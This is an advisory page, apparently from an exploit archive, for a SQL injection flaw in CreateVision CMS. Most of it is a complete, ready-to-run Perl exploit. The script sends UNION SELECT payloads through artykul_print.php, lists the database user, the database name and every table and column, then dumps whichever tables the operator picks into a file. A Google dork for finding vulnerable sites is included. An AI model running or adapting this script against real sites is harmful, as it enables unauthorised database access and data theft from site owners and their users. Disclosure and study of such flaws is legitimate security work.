CreateVision CMS SQL Injection

2012-02-29 / 2012-03-21
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/local/bin/perl # # Exploit Title: CreateVision CMS Database injection. # Description: Virtually none of the variables are not filtered. # Google Dork: inurl:artykul_print.php # Date: 2012/02/24 # Author : Zwierzchowski Oskar # Software Link: http://www.createvision.pl/ # Version: All Version # Security Risk: High # Tested on: FreeBSD # Greets: Grzegorz Stachowiak, Damian Blaszczyk, Borislav Kotov. use strict; use warnings; use LWP::Simple; sub main () { my %config = ( 'host' => '', 'columns' => ',3,4', 'column' => '', 'table' => '' ); my %send = (); getops(\%config); getcolumn(\%config, \%send); getuser(\%config, \%send); getdatabase(\%config, \%send); gettables(\%config, \%send); otherdata(\%config, \%send); return 0; } sub getdatabase ($$) { my $config = shift; my $send = shift; my $data; $data = get $config->{host}.$send->{database}; analizedata($data, 'Database'); return ($config, $send); } sub getuser ($$) { my $config = shift; my $send = shift; my $data; $data = get $config->{host}.$send->{user}; analizedata($data, 'User'); return ($config, $send); } sub gettables ($$) { my $config = shift; my $send = shift; my $data; $data = get $config->{host}.$send->{column}; analizedata($data, 'Tables'); } sub otherdata ($$) { my $config = shift; my $send = shift; my $data; my $table; my $column; print "[+]\tIf you want to draw some data? (1 or 2)\r\n\r\n"; print "[1]\tYes\r\n"; print "[2]\tNo\r\n"; $data = <STDIN>; chomp($data); if ($data == 2) { exit 0; } else { print "[+]\tName of the table which you want to download (check the output.txt) :\r\n"; $table = <STDIN>; chomp($table); print "[+]\tGet column/s: (ex. column1,column2,column3)\r\n"; $column = <STDIN>; chomp($column); $column =~ s/,/,char(58),/g; $send->{tables} = '/artykul_print.php?id=103+and+1=2+union+select+1,concat('.$column.')'.$config->{columns}.'+from+'.$table.'--'; $data = get $config->{host}.$send->{tables}; analizedata($data, 'MYDATA'); } return 0; } sub analizedata ($$) { my $data = shift; my $pref = shift; my $table; my $column; my @columns = (''); my @tables = (''); while ($data =~ /<span class=\"tytul_artykulu\">(.*?)<\/span>/g) { if ($pref eq 'Tables') { ($table, $column) = split(/:/, $1); save($1, 'output.txt'); push(@columns, $column); if ($table eq $tables[$#tables]) { } else { push(@tables, $table); } } else { print "[+]\t[".$pref."][".$1."]\r\n"; save($1, 'output.txt'); } } if ($pref eq 'Tables') { print "[+]\t".$#columns." columns in ".$#tables." tables\r\n"; print "[+]\tResults has been saved into output.txt\r\n"; } return 0; } sub getops ($) { my $config = shift; if (!$ARGV[0] || $ARGV[0] !~ /http:\/\//) { print "[+]\tUsage: perl splo.pl http://host.com\r\n"; exit 0; } else { $config->{host} = $ARGV[0]; } return $config; } sub getcolumn ($$) { my $config = shift; my $send = shift; my $data; for (1..20) { incrcolum($config); $send->{user} = '/artykul_print.php?id=105+and+1=2+union+select+1,user()'.$config->{columns}.'--'; $send->{database} = '/artykul_print.php?id=105+and+1=2+union+select+1,database()'.$config->{columns}.'--'; $send->{column} = '/artykul_print.php?id=105+and+1=2+union+select+1,concat(table_name,char(58),column_name)'.$config->{columns}.'+from+information_schema.columns--'; $data = get $config->{host}.$send->{user}; if (index($data, "<span class=\"tytul_artykulu\">") != -1) { return ($config, $send); } } return $config; } sub incrcolum ($) { my $config = shift; my @digits = split(/,/, $config->{columns}); my $data = (($digits[$#digits])+1); $config->{columns} =~ s/$config->{columns}/$config->{columns},$data/g; return $config; } sub save ($$) { my $data = shift; my $file = shift; open(FILE, ">>".$file.""); print FILE "".$data."\r\n"; close FILE; return 0; } main();

References:

http://www.createvision.pl/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top